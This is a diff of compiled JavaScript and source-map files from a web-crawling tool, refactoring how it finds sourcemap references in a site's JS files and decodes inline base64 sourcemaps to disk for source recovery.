M,WAAW,CAAC,gBAAgB,EAAE,eAAe,CAAC,CAAC;QAC5E,IAAI,CAAC,cAAc,CAAC,OAAO,IAAI,CAAC,cAAc,CAAC,cAAc,EAAE,CAAC;YAC5D,MAAM,WAAW,CAAC,oBAAoB,EAAE,EAAE,eAAe,CAAC,CAAC;QAC/D,CAAC;IACL,CAAC,CAAA,CAAC,CAAC;IAEH,OAAO;QACH,YAAY,EAAE,CAAC,GAAG,IAAI,GAAG,CAAC,YAAY,CAAC,CAAC;QACxC,wBAAwB,EAAE,CAAC,GAAG,IAAI,GAAG,CAAC,wBAAwB,CAAC,CAAC;QAChE,qBAAqB,EAAE,CAAC,GAAG,IAAI,GAAG,CAAC,qBAAqB,CAAC,CAAC;QAC1D,SAAS,EAAE,CAAC,GAAG,IAAI,GAAG,CAAC,SAAS,CAAC,CAAC;KACrC,CAAC;AACN,CAAC,CAAA,CAAC;AAEF,eAAe,qBAAqB,CAAC"}
@@ -13,12 +13,14 @@ import makeRequest from "../../utility/makeReq.js";
13
13
  import { getJsUrls, pushToJsUrls } from "../globals.js";
14
14
  import resolvePath from "../../utility/resolvePath.js";
15
15
  import { runWithConcurrency } from "../../utility/concurrency.js";
16
+ import { decodeInlineSourceMapDataUri, writeInlineSourceMap } from "../sourcemap.js";
16
17
  // for parsing
17
18
  import parser from "@babel/parser";
18
19
  import _traverse from "@babel/traverse";
19
20
  const traverse = ((_a = _traverse.default) !== null && _a !== void 0 ? _a : _traverse);
20
21
  const analyzedFiles = [];
21
22
  let filesFound = [];
23
+ let mapFilesFound = [];
22
24
  /**
23
25
  * Parses the content of a JavaScript file and returns an object containing
24
26
  * all the strings that end with ".js".
@@ -58,9 +60,10 @@ export const parseJSFileContent = (content) => __awaiter(void 0, void 0, void 0,
58
60
  /**
59
61
  * Analyzes strings in the files found and returns an array of absolute URLs pointing to JavaScript files found in the page.
60
62
  * @param {string} url - The URL of the webpage to fetch and parse.
61
- * @returns {Promise<string[]>} - A promise that resolves to an array of absolute URLs pointing to JavaScript files found in the page.
63
+ * @returns {Promise<{jsFiles: string[], mapFiles: string[]}>} - JS files found via string analysis,
64
+ * and any real (non-inline) sourcemap URLs found alongside them.
62
65
  */
63
- const nuxt_stringAnalysisJSFiles = (url_1, ...args_1) => __awaiter(void 0, [url_1, ...args_1], void 0, function* (url, threads = 1) {
66
+ const nuxt_stringAnalysisJSFiles = (url_1, ...args_1) => __awaiter(void 0, [url_1, ...args_1], void 0, function* (url, threads = 1, output = "") {
64
67
  console.log(chalk.cyan("[i] Analyzing strings in the files found"));
65
68
  while (true) {
66
69
  // get all the JS URLs
@@ -87,6 +90,23 @@ const nuxt_stringAnalysisJSFiles = (url_1, ...args_1) => __awaiter(void 0, [url_
87
90
  const response = yield makeRequest(js_url, {});
88
91
  const respText = yield response.text();
89
92
  const foundJsFiles = yield parseJSFileContent(respText);
93
+ // check for sourcemap reference
94
+ const sourcemapMatch = respText.match(/\/\/# sourceMappingURL=(.+)$/m);
95
+ if (sourcemapMatch) {
96
+ const rawRef = sourcemapMatch[1].trim();
97
+ if (rawRef.startsWith("data:")) {
98
+ const decoded = decodeInlineSourceMapDataUri(rawRef);
99
+ if (decoded) {
100
+ writeInlineSourceMap(output, js_url, decoded);
101
+ }
102
+ }
103
+ else {
104
+ const mapUrl = new URL(rawRef, js_url).href;
105
+ if (!mapFilesFound.includes(mapUrl)) {
106
+ mapFilesFound.push(mapUrl);
107
+ }
108
+ }
109
+ }
90
110
  // iterate through the foundJsFiles and resolve the paths
91
111
  for (const [key, value] of Object.entries(foundJsFiles)) {
92
112
  const resolvedPath = yield resolvePath(js_url, value);
@@ -101,8 +121,12 @@ const nuxt_stringAnalysisJSFiles = (url_1, ...args_1) => __awaiter(void 0, [url_
101
121
  }
102
122
  // dedupe the files
103
123
  filesFound = [...new Set(filesFound)];
124
+ mapFilesFound = [...new Set(mapFilesFound)];
104
125
  console.log(chalk.green(`[✓] Found ${filesFound.length} JS files from string analysis`));
105
- return filesFound;
126
+ if (mapFilesFound.length > 0) {
127
+ console.log(chalk.green(`[✓] Found ${mapFilesFound.length} sourcemap(s) from JS files`));
128
+ }
129
+ return { jsFiles: filesFound, mapFiles: mapFilesFound };
106
130
  });
107
131
  export default nuxt_stringAnalysisJSFiles;
108
132
  //# sourceMappingURL=nuxt_stringAnalysisJSFiles.js.map
@@ -1 +1 @@
1
- {"version":3,"file":"nuxt_stringAnalysisJSFiles.js","sourceRoot":"","sources":["../../../src/lazyLoad/nuxt_js/nuxt_stringAnalysisJSFiles.ts"],"names":[],"mappings":"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"}
1
+ {"version":3,"file":"nuxt_stringAnalysisJSFiles.js","sourceRoot":"","sources":["../../../src/lazyLoad/nuxt_js/nuxt_stringAnalysisJSFiles.ts"],"names":[],"mappings":"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"}
@@ -7,33 +7,12 @@ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, ge
7
7
  step((generator = generator.apply(thisArg, _arguments || [])).next());
8
8
  });
9
9
  };
10
- import makeRequest from "../../utility/makeReq.js";
11
- import chalk from "chalk";
12
- import { runWithConcurrency } from "../../utility/concurrency.js";
13
- import { progressLog } from "../../utility/progressLog.js";
14
- const react_sourcemapUrls = (jsFiles_1, ...args_1) => __awaiter(void 0, [jsFiles_1, ...args_1], void 0, function* (jsFiles, threads = 1) {
15
- const mapUrls = [];
16
- yield runWithConcurrency(jsFiles, threads, (jsUrl) => __awaiter(void 0, void 0, void 0, function* () {
17
- try {
18
- const res = yield makeRequest(jsUrl, { reportErrors: false });
19
- if (!res)
20
- return;
21
- const body = yield res.text();
22
- const match = body.match(/\/\/# sourceMappingURL=(.+)$/m);
23
- if (match) {
24
- const rawRef = match[1].trim();
25
- const mapUrl = new URL(rawRef, jsUrl).href;
26
- mapUrls.push(mapUrl);
27
- }
28
- }
29
- catch (_) {
30
- // skip files that fail to fetch
31
- }
32
- }));
33
- if (mapUrls.length > 0) {
34
- progressLog(chalk.green(`[✓] Found ${mapUrls.length} sourcemaps from ${jsFiles.length} JS files`));
35
- }
36
- return mapUrls;
37
- });
10
+ import { discoverSourcemapUrls } from "../sourcemap.js";
11
+ /**
12
+ * React sourcemap discovery. Thin named wrapper over the shared `discoverSourcemapUrls`
13
+ * helper — kept as its own file/export so `--include-methods`/`--exclude-methods`/
14
+ * `--list-methods` continue to see a `react_sourcemapUrls` method name.
15
+ */
16
+ const react_sourcemapUrls = (jsFiles_1, ...args_1) => __awaiter(void 0, [jsFiles_1, ...args_1], void 0, function* (jsFiles, threads = 1, output = "") { return discoverSourcemapUrls(jsFiles, threads, output); });
38
17
  export default react_sourcemapUrls;
39
18
  //# sourceMappingURL=react_sourcemapUrls.js.map
@@ -1 +1 @@
1
- {"version":3,"file":"react_sourcemapUrls.js","sourceRoot":"","sources":["../../../src/lazyLoad/react/react_sourcemapUrls.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,WAAW,MAAM,0BAA0B,CAAC;AACnD,OAAO,KAAK,MAAM,OAAO,CAAC;AAC1B,OAAO,EAAE,kBAAkB,EAAE,MAAM,8BAA8B,CAAC;AAClE,OAAO,EAAE,WAAW,EAAE,MAAM,8BAA8B,CAAC;AAE3D,MAAM,mBAAmB,GAAG,uBAAkE,EAAE,8DAA7D,OAAiB,EAAE,UAAkB,CAAC;IACrE,MAAM,OAAO,GAAa,EAAE,CAAC;IAE7B,MAAM,kBAAkB,CAAC,OAAO,EAAE,OAAO,EAAE,CAAO,KAAK,EAAE,EAAE;QACvD,IAAI,CAAC;YACD,MAAM,GAAG,GAAG,MAAM,WAAW,CAAC,KAAK,EAAE,EAAE,YAAY,EAAE,KAAK,EAAE,CAAC,CAAC;YAC9D,IAAI,CAAC,GAAG;gBAAE,OAAO;YACjB,MAAM,IAAI,GAAG,MAAM,GAAG,CAAC,IAAI,EAAE,CAAC;YAC9B,MAAM,KAAK,GAAG,IAAI,CAAC,KAAK,CAAC,+BAA+B,CAAC,CAAC;YAC1D,IAAI,KAAK,EAAE,CAAC;gBACR,MAAM,MAAM,GAAG,KAAK,CAAC,CAAC,CAAC,CAAC,IAAI,EAAE,CAAC;gBAC/B,MAAM,MAAM,GAAW,IAAI,GAAG,CAAC,MAAM,EAAE,KAAK,CAAC,CAAC,IAAI,CAAC;gBACnD,OAAO,CAAC,IAAI,CAAC,MAAM,CAAC,CAAC;YACzB,CAAC;QACL,CAAC;QAAC,OAAO,CAAC,EAAE,CAAC;YACT,gCAAgC;QACpC,CAAC;IACL,CAAC,CAAA,CAAC,CAAC;IAEH,IAAI,OAAO,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;QACrB,WAAW,CAAC,KAAK,CAAC,KAAK,CAAC,aAAa,OAAO,CAAC,MAAM,oBAAoB,OAAO,CAAC,MAAM,WAAW,CAAC,CAAC,CAAC;IACvG,CAAC;IAED,OAAO,OAAO,CAAC;AACnB,CAAC,CAAA,CAAC;AAEF,eAAe,mBAAmB,CAAC"}
1
+ {"version":3,"file":"react_sourcemapUrls.js","sourceRoot":"","sources":["../../../src/lazyLoad/react/react_sourcemapUrls.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,EAAE,qBAAqB,EAAE,MAAM,iBAAiB,CAAC;AAExD;;;;GAIG;AACH,MAAM,mBAAmB,GAAG,uBAAuF,EAAE,8DAAlF,OAAiB,EAAE,UAAkB,CAAC,EAAE,SAAiB,EAAE,IAC1F,OAAA,qBAAqB,CAAC,OAAO,EAAE,OAAO,EAAE,MAAM,CAAC,CAAA,GAAA,CAAC;AAEpD,eAAe,mBAAmB,CAAC"}
@@ -3,6 +3,22 @@
3
3
  *
4
4
  * Extracts original source code from minified JavaScript using source maps.
5
5
  */
6
+ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
7
+ function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
8
+ return new (P || (P = Promise))(function (resolve, reject) {
9
+ function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
10
+ function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
11
+ function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
12
+ step((generator = generator.apply(thisArg, _arguments || [])).next());
13
+ });
14
+ };
15
+ import fs from "fs";
16
+ import path from "path";
17
+ import chalk from "chalk";
18
+ import makeRequest from "../utility/makeReq.js";
19
+ import { runWithConcurrency } from "../utility/concurrency.js";
20
+ import { progressLog } from "../utility/progressLog.js";
21
+ import { getSanitizedAssetFilename, resolveAssetOutputDirectory } from "./outputPath.js";
6
22
  /**
7
23
  * Extract original source files from a source map.
8
24
  *
@@ -183,6 +199,110 @@ function joinPaths(base, path) {
183
199
  const pathClean = path.startsWith("/") ? path.slice(1) : path;
184
200
  return `${baseClean}/${pathClean}`;
185
201
  }
202
+ /**
203
+ * Decode an inline `data:` URI sourceMappingURL reference into raw source-map JSON text.
204
+ *
205
+ * Handles both base64-encoded (`data:application/json;base64,<...>`, with or without a
206
+ * `charset` parameter) and percent-encoded (`data:application/json,<...>`) payloads.
207
+ * Verifies the decoded content actually looks like a source map (has a `sources` array)
208
+ * before returning it, so an unrelated `data:` URI that happens to be valid JSON doesn't
209
+ * get treated as a sourcemap.
210
+ *
211
+ * @param rawRef - The raw string following `sourceMappingURL=`
212
+ * @returns The decoded JSON text, or null if `rawRef` isn't a decodable inline source map
213
+ */
214
+ export function decodeInlineSourceMapDataUri(rawRef) {
215
+ if (!rawRef.startsWith("data:"))
216
+ return null;
217
+ const commaIndex = rawRef.indexOf(",");
218
+ if (commaIndex === -1)
219
+ return null;
220
+ const meta = rawRef.slice(5, commaIndex);
221
+ const payload = rawRef.slice(commaIndex + 1);
222
+ const isBase64 = meta.split(";").includes("base64");
223
+ try {
224
+ const decoded = isBase64 ? Buffer.from(payload, "base64").toString("utf-8") : decodeURIComponent(payload);
225
+ const parsed = JSON.parse(decoded);
226
+ if (typeof parsed !== "object" || parsed === null || !Array.isArray(parsed.sources))
227
+ return null;
228
+ return decoded;
229
+ }
230
+ catch (_a) {
231
+ return null;
232
+ }
233
+ }
234
+ /**
235
+ * Write a decoded inline source map to disk at the same location a real downloaded
236
+ * `.map` file for this JS URL would land at, so the existing `extractSourceMaps` disk
237
+ * scan (which matches by `.map` extension, not by naming convention) picks it up.
238
+ *
239
+ * Best-effort: swallows all errors, per this directory's "sourcemap fetch is best-effort"
240
+ * convention. Never throws.
241
+ */
242
+ export function writeInlineSourceMap(output, jsUrl, mapContent) {
243
+ try {
244
+ const filename = getSanitizedAssetFilename(jsUrl);
245
+ if (!filename)
246
+ return;
247
+ const dir = resolveAssetOutputDirectory(output, jsUrl);
248
+ fs.mkdirSync(dir, { recursive: true });
249
+ fs.writeFileSync(path.join(dir, `${filename}.map`), mapContent);
250
+ }
251
+ catch (_a) {
252
+ // best-effort; never fatal
253
+ }
254
+ }
255
+ /**
256
+ * Discover sourcemaps referenced by a list of JS files.
257
+ *
258
+ * For each file, fetches its content and looks for a `//# sourceMappingURL=...` comment.
259
+ * Inline `data:` URI references are decoded and written directly to `output` (no HTTP
260
+ * fetch needed). Real relative/absolute references are resolved to absolute URLs and
261
+ * returned so the caller can enqueue them for download, same as before.
262
+ *
263
+ * @param jsFiles - JS file URLs to scan
264
+ * @param threads - concurrency for the fetch loop
265
+ * @param output - output directory inline maps are written under
266
+ * @returns Absolute URLs of real (non-inline) sourcemaps found
267
+ */
268
+ export function discoverSourcemapUrls(jsFiles_1) {
269
+ return __awaiter(this, arguments, void 0, function* (jsFiles, threads = 1, output = "") {
270
+ const mapUrls = [];
271
+ let inlineCount = 0;
272
+ yield runWithConcurrency(jsFiles, threads, (jsUrl) => __awaiter(this, void 0, void 0, function* () {
273
+ try {
274
+ const res = yield makeRequest(jsUrl, { reportErrors: false });
275
+ if (!res)
276
+ return;
277
+ const body = yield res.text();
278
+ const match = body.match(/\/\/# sourceMappingURL=(.+)$/m);
279
+ if (!match)
280
+ return;
281
+ const rawRef = match[1].trim();
282
+ if (rawRef.startsWith("data:")) {
283
+ const decoded = decodeInlineSourceMapDataUri(rawRef);
284
+ if (decoded) {
285
+ writeInlineSourceMap(output, jsUrl, decoded);
286
+ inlineCount++;
287
+ }
288
+ return;
289
+ }
290
+ const mapUrl = new URL(rawRef, jsUrl).href;
291
+ mapUrls.push(mapUrl);
292
+ }
293
+ catch (_) {
294
+ // skip files that fail to fetch
295
+ }
296
+ }));
297
+ if (mapUrls.length > 0) {
298
+ progressLog(chalk.green(`[✓] Found ${mapUrls.length} sourcemaps from ${jsFiles.length} JS files`));
299
+ }
300
+ if (inlineCount > 0) {
301
+ progressLog(chalk.green(`[✓] Decoded ${inlineCount} inline (base64) sourcemap(s)`));
302
+ }
303
+ return mapUrls;
304
+ });
305
+ }
186
306
  // Default export for convenience
187
307
  export default { extractSources, extractSource, listSources, hasSourceContent };
188
308
  //# sourceMappingURL=sourcemap.js.map
@@ -1 +1 @@
1
- {"version":3,"file":"sourcemap.js","sourceRoot":"","sources":["../../src/lazyLoad/sourcemap.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AA6CH;;;;;;;;;;;;;;;;;;;;;;;GAuBG;AACH,MAAM,UAAU,cAAc,CAAC,SAA6B,EAAE,UAA0B,EAAE;;IACtF,MAAM,EAAE,UAAU,GAAG,IAAI,EAAE,cAAc,GAAG,IAAI,EAAE,GAAG,OAAO,CAAC;IAE7D,8BAA8B;IAC9B,MAAM,GAAG,GAAc,OAAO,SAAS,KAAK,QAAQ,CAAC,CAAC,CAAC,IAAI,CAAC,KAAK,CAAC,SAAS,CAAC,CAAC,CAAC,CAAC,SAAS,CAAC;IAEzF,sBAAsB;IACtB,IAAI,CAAC,GAAG,CAAC,OAAO,IAAI,CAAC,KAAK,CAAC,OAAO,CAAC,GAAG,CAAC,OAAO,CAAC,EAAE,CAAC;QAC9C,MAAM,IAAI,KAAK,CAAC,6CAA6C,CAAC,CAAC;IACnE,CAAC;IAED,MAAM,KAAK,GAAiB,EAAE,CAAC;IAC/B,IAAI,YAAY,GAAG,CAAC,CAAC;IAErB,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,GAAG,CAAC,OAAO,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE,CAAC;QAC1C,IAAI,IAAI,GAAG,GAAG,CAAC,OAAO,CAAC,CAAC,CAAC,CAAC;QAC1B,MAAM,OAAO,GAAG,MAAA,GAAG,CAAC,cAAc,0CAAG,CAAC,CAAC,CAAC;QAExC,qBAAqB;QACrB,IAAI,OAAO,KAAK,IAAI,IAAI,OAAO,KAAK,SAAS,EAAE,CAAC;YAC5C,YAAY,EAAE,CAAC;Y